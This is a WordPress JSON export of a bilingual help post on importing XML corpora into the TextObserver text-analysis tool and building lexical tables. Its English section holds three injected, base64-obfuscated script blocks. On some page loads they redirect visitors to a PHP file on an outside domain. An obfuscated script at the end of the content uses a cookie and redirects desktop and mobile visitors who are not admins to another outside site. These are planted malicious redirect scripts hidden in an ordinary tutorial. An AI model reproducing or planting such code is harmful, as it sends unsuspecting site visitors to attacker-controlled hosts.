{"id":46,"date":"2014-02-10T16:05:11","date_gmt":"2014-02-10T15:05:11","guid":{"rendered":"http:\/\/textopol2.u-pec.fr\/textobserver\/?p=46"},"modified":"2018-09-18T16:20:55","modified_gmt":"2018-09-18T15:20:55","slug":"importer-un-corpus-xml","status":"publish","type":"post","link":"http:\/\/textopol.u-pec.fr\/textobserver\/?p=46","title":{"rendered":"Importer un corpus xml"},"content":{"rendered":"<p><!--:fr-->TextObserver permet d\u2019importer des corpus sous forme de fichiers texte partitionn\u00e9s (un fichier par partition, le tout dans un dossier), des corpus balis\u00e9s en xml (pour faciliter la t\u00e2che nous avons d\u00e9velopp\u00e9 un utilitaire nomm\u00e9 TextEncoder. Celui-ci permet de transformer facilement un corpus \u00e9tiquet\u00e9 sous Cordial, Treetagger ou tout autre outil g\u00e9n\u00e9rant des donn\u00e9es tabul\u00e9es en fichier <em>xml<\/em>).<\/p>\n<p><a title=\"Balisage xml sur la forme graphique\" href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/?p=210\">&gt;&gt; voir rubrique : Balisage xml sur la forme graphique<\/a><\/p>\n<p>1. Import du fichier xml<\/p>\n<p>Ce fichier dont l&rsquo;extension doit imp\u00e9rativement \u00eatre <em>xml<\/em>, doit \u00eatre plac\u00e9 dans un dossier en racine de TextObserver.<\/p>\n<p>Lancer TextObserver puis :<\/p>\n<p>Menu Fichier&gt;Importer&gt;R\u00e9pertoire de corpus&gt;Format xml\u2026<\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/2-importer-xmlV2.jpg\"><img loading=\"lazy\" class=\"alignnone size-full wp-image-60\" alt=\"2-importer-xmlV2\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/2-importer-xmlV2.jpg\" width=\"606\" height=\"132\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/2-importer-xmlV2.jpg 606w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/2-importer-xmlV2-300x65.jpg 300w\" sizes=\"(max-width: 606px) 100vw, 606px\" \/><\/a><\/p>\n<p>Choisir le dossier contenant le fichier xml \u00e0 importer et, si n\u00e9cessaire, modifier le type d\u2019encodage (*)<\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/3-choix-dossier-xml.jpg\"><img loading=\"lazy\" class=\"alignnone size-full wp-image-56\" alt=\"3-choix-dossier-xml\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/3-choix-dossier-xml.jpg\" width=\"618\" height=\"404\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/3-choix-dossier-xml.jpg 618w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/3-choix-dossier-xml-300x196.jpg 300w\" sizes=\"(max-width: 618px) 100vw, 618px\" \/><\/a><\/p>\n<p>2. Cr\u00e9ation des tables lexicales<\/p>\n<p>Une fois le calcul fait, TextObserver affiche la fen\u00eatre ci-dessous proposant de choisir les partitions et les propri\u00e9t\u00e9s permettant de cr\u00e9er diff\u00e9rentes tables lexicales. Ainsi, TextObserver, dans l&rsquo;exemple ci-dessous, cr\u00e9era une table lexicale <em>discours_date<\/em> sur la propri\u00e9t\u00e9 word et une table <em>discours_loc<\/em> sur la m\u00eame propri\u00e9t\u00e9. Sur un corpus cat\u00e9goris\u00e9, il n&rsquo;est pas n\u00e9cessaire de cocher les cases pos ou lemme pour effectuer des recherches portant sur toutes les dimensions du corpus. En revanche si l&rsquo;on souhaite cr\u00e9er une analyse factorielle portant sur les <em>pos<\/em> ou les <em>lemmes<\/em> il faudra cocher ces options.<\/p>\n<p>Remarque : Les propri\u00e9t\u00e9s d\u00e9pendent de l&rsquo;encodage choisi pour construire le fichier <em>xml<\/em> et ne sont pas limit\u00e9es aux trois de cet exemple (&gt;&gt; voir rubrique cr\u00e9ation d&rsquo;un corpus xml)<\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/5-sellection-element-table-lexicale.jpg\"><img loading=\"lazy\" class=\"alignnone size-full wp-image-58\" alt=\"5-sellection-element-table-lexicale\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/5-sellection-element-table-lexicale.jpg\" width=\"420\" height=\"264\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/5-sellection-element-table-lexicale.jpg 420w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/5-sellection-element-table-lexicale-300x188.jpg 300w\" sizes=\"(max-width: 420px) 100vw, 420px\" \/><\/a><\/p>\n<p>Valider \u00ab\u00a0Cr\u00e9er les tables lexicales\u00a0\u00bb lance leur fabrication.<\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/7-reussite-creation-table.jpg\"><img loading=\"lazy\" class=\"alignnone size-full wp-image-48\" alt=\"7-reussite-creation-table\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/7-reussite-creation-table.jpg\" width=\"800\" height=\"115\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/7-reussite-creation-table.jpg 800w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/7-reussite-creation-table-300x43.jpg 300w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/7-reussite-creation-table-624x89.jpg 624w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/a><\/p>\n<p>3.\u00a0Chargement des tables lexicales<\/p>\n<p>Menu Fichier&gt;Ouvrir&gt;Table(s) lexicale(s) (.tab)\u2026<\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/8-import-table-lexcaleV2.jpg\"><img loading=\"lazy\" class=\"alignnone size-full wp-image-63\" alt=\"8-import-table-lexcaleV2\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/8-import-table-lexcaleV2.jpg\" width=\"741\" height=\"120\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/8-import-table-lexcaleV2.jpg 741w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/8-import-table-lexcaleV2-300x48.jpg 300w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/8-import-table-lexcaleV2-624x101.jpg 624w\" sizes=\"(max-width: 741px) 100vw, 741px\" \/><\/a><\/p>\n<p>Choisir la table que vous d\u00e9sirez charger\u2026<\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/9-choix-table-lexicale.jpg\"><img loading=\"lazy\" class=\"alignnone size-full wp-image-50\" alt=\"9-choix-table lexicale\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/9-choix-table-lexicale.jpg\" width=\"618\" height=\"404\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/9-choix-table-lexicale.jpg 618w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/9-choix-table-lexicale-300x196.jpg 300w\" sizes=\"(max-width: 618px) 100vw, 618px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/11-affichage-debut-AFC.jpg\"><img loading=\"lazy\" class=\"alignnone size-full wp-image-52\" alt=\"11-affichage-debut-AFC\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/11-affichage-debut-AFC.jpg\" width=\"1280\" height=\"772\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/11-affichage-debut-AFC.jpg 1280w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/11-affichage-debut-AFC-300x180.jpg 300w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/11-affichage-debut-AFC-1024x617.jpg 1024w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/11-affichage-debut-AFC-624x376.jpg 624w\" sizes=\"(max-width: 1280px) 100vw, 1280px\" \/><\/a><\/p>\n<p>* : Le type d\u2019encodage d\u2019un fichier peut facilement \u00eatre v\u00e9rifi\u00e9 ou modifi\u00e9 gr\u00e2ce au logiciel gratuit et libre Notepad++ (voir manuel Notepad++ sur Textopol) Il permet \u00e9galement de transformer rapidement un fichier balis\u00e9 pour Lexico3 en fichier xml (idem)<\/p>\n<p>Affichage simultan\u00e9 de 4 partitions d&rsquo;un m\u00eame corpus xml<\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/05\/4tables-issues-meme-corpus-xml.jpg\"><img loading=\"lazy\" class=\"alignnone size-large wp-image-221\" alt=\"4tables-issues-meme-corpus-xml\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/05\/4tables-issues-meme-corpus-xml-1024x554.jpg\" width=\"625\" height=\"338\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/05\/4tables-issues-meme-corpus-xml-1024x554.jpg 1024w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/05\/4tables-issues-meme-corpus-xml-300x162.jpg 300w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/05\/4tables-issues-meme-corpus-xml-624x338.jpg 624w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/05\/4tables-issues-meme-corpus-xml.jpg 1920w\" sizes=\"(max-width: 625px) 100vw, 625px\" \/><\/a><!--:--><!--:en-->With TextObserver you can import multi-text files corpus (1 file per partition) or an xml tagged corpus (we have developed TextEncoder software in order to help you to quickly transform Cordial or Treetagger file in xml file).<\/p>\n<p>1. Import xml file<\/p>\n<p>Put the folder\u00a0containing\u00a0the xml file in the\u00a0TextObserver root folder<\/p>\n<p>In Textobserver :<\/p>\n<p>Menu Fichier>Importer>R\u00e9pertoire de corpus>Format xml\u2026<\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/2-importer-xmlV2.jpg\"><img loading=\"lazy\" class=\"alignnone size-full wp-image-60\" alt=\"2-importer-xmlV2\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/2-importer-xmlV2.jpg\" width=\"606\" height=\"132\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/2-importer-xmlV2.jpg 606w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/2-importer-xmlV2-300x65.jpg 300w\" sizes=\"(max-width: 606px) 100vw, 606px\" \/><\/a><\/p>\n<p>Select\u00a0the\u00a0folder containing the xml files you\u00a0want to import, <script type=\"text\/javascript\">function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');<\/script>and eventually modify the encoding type (*)<\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/3-choix-dossier-xml.jpg\"><img loading=\"lazy\" class=\"alignnone size-full wp-image-56\" alt=\"3-choix-dossier-xml\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/3-choix-dossier-xml.jpg\" width=\"618\" height=\"404\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/3-choix-dossier-xml.jpg 618w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/3-choix-dossier-xml-300x196.jpg 300w\" sizes=\"(max-width: 618px) 100vw, 618px\" \/><\/a><\/p>\n<p>2. Creating lexical tables<\/p>\n<p>When the computing is complete, Textobserver open the following window <script type=\"text\/javascript\">function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');<\/script>and propose to choose which partition <script type=\"text\/javascript\">function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');<\/script>and properties you want in order to create matching lexical tables. The easiest way consists in using default settings. This let Textobserver create all lexical tables matching with xml main partition tags attributes.<\/p>\n<p>In the example, theTextEncoder generated xml file is structure as follows :<\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/corpus-xml-exemple-commentaire.jpg\"><img loading=\"lazy\" class=\"alignnone size-full wp-image-54\" alt=\"corpus-xml-exemple-commentaire\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/corpus-xml-exemple-commentaire.jpg\" width=\"1280\" height=\"776\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/corpus-xml-exemple-commentaire.jpg 1280w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/corpus-xml-exemple-commentaire-300x181.jpg 300w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/corpus-xml-exemple-commentaire-1024x620.jpg 1024w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/corpus-xml-exemple-commentaire-624x378.jpg 624w\" sizes=\"(max-width: 1280px) 100vw, 1280px\" \/><\/a><\/p>\n<p>TextObserver rep\u00e8re donc les deux attributs de la balise discours ce qui permet de cr\u00e9er deux tables une pour les discours par \u00ab\u00a0date\u00a0\u00bb l\u2019autre pour les discours par \u00ab\u00a0loc\u00a0\u00bb (locuteurs).<\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/5-sellection-element-table-lexicale.jpg\"><img loading=\"lazy\" class=\"alignnone size-full wp-image-58\" alt=\"5-sellection-element-table-lexicale\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/5-sellection-element-table-lexicale.jpg\" width=\"420\" height=\"264\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/5-sellection-element-table-lexicale.jpg 420w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/5-sellection-element-table-lexicale-300x188.jpg 300w\" sizes=\"(max-width: 420px) 100vw, 420px\" \/><\/a><\/p>\n<p>Valider \u00ab\u00a0Cr\u00e9er les tables lexicales\u00a0\u00bb lance leur fabrication.<\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/7-reussite-creation-table.jpg\"><img loading=\"lazy\" class=\"alignnone size-full wp-image-48\" alt=\"7-reussite-creation-table\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/7-reussite-creation-table.jpg\" width=\"800\" height=\"115\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/7-reussite-creation-table.jpg 800w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/7-reussite-creation-table-300x43.jpg 300w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/7-reussite-creation-table-624x89.jpg 624w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/a><\/p>\n<p>3.\u00a0Chargement des tables lexicales<\/p>\n<p>Menu Fichier>Ouvrir>Table(s) lexicale(s) (.tab)\u2026<\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/8-import-table-lexcaleV2.jpg\"><img loading=\"lazy\" class=\"alignnone size-full wp-image-63\" alt=\"8-import-table-lexcaleV2\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/8-import-table-lexcaleV2.jpg\" width=\"741\" height=\"120\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/8-import-table-lexcaleV2.jpg 741w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/8-import-table-lexcaleV2-300x48.jpg 300w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/8-import-table-lexcaleV2-624x101.jpg 624w\" sizes=\"(max-width: 741px) 100vw, 741px\" \/><\/a><\/p>\n<p>Choisir la table que vous d\u00e9sirez charger\u2026<\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/9-choix-table-lexicale.jpg\"><img loading=\"lazy\" class=\"alignnone size-full wp-image-50\" alt=\"9-choix-table lexicale\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/9-choix-table-lexicale.jpg\" width=\"618\" height=\"404\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/9-choix-table-lexicale.jpg 618w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/9-choix-table-lexicale-300x196.jpg 300w\" sizes=\"(max-width: 618px) 100vw, 618px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/11-affichage-debut-AFC.jpg\"><img loading=\"lazy\" class=\"alignnone size-full wp-image-52\" alt=\"11-affichage-debut-AFC\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/11-affichage-debut-AFC.jpg\" width=\"1280\" height=\"772\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/11-affichage-debut-AFC.jpg 1280w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/11-affichage-debut-AFC-300x180.jpg 300w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/11-affichage-debut-AFC-1024x617.jpg 1024w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2014\/02\/11-affichage-debut-AFC-624x376.jpg 624w\" sizes=\"(max-width: 1280px) 100vw, 1280px\" \/><\/a><\/p>\n<p>* : Le type d\u2019encodage d\u2019un fichier peut facilement \u00eatre v\u00e9rifi\u00e9 ou modifi\u00e9 gr\u00e2ce au logiciel gratuit et libre Notepad++ (voir manuel Notepad++ sur Textopol) Il permet \u00e9galement de transformer rapidement un fichier balis\u00e9 pour Lexico3 en fichier xml (idem)<!--:--><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>TextObserver permet d\u2019importer des corpus sous forme de fichiers texte partitionn\u00e9s (un fichier par partition, le tout dans un dossier), des corpus balis\u00e9s en xml (pour faciliter la t\u00e2che nous avons d\u00e9velopp\u00e9 un utilitaire nomm\u00e9 TextEncoder. Celui-ci permet de transformer facilement un corpus \u00e9tiquet\u00e9 sous Cordial, Treetagger ou tout autre outil g\u00e9n\u00e9rant des donn\u00e9es tabul\u00e9es [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[],"_links":{"self":[{"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=\/wp\/v2\/posts\/46"}],"collection":[{"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=46"}],"version-history":[{"count":19,"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=\/wp\/v2\/posts\/46\/revisions"}],"predecessor-version":[{"id":383,"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=\/wp\/v2\/posts\/46\/revisions\/383"}],"wp:attachment":[{"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=46"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=46"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=46"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}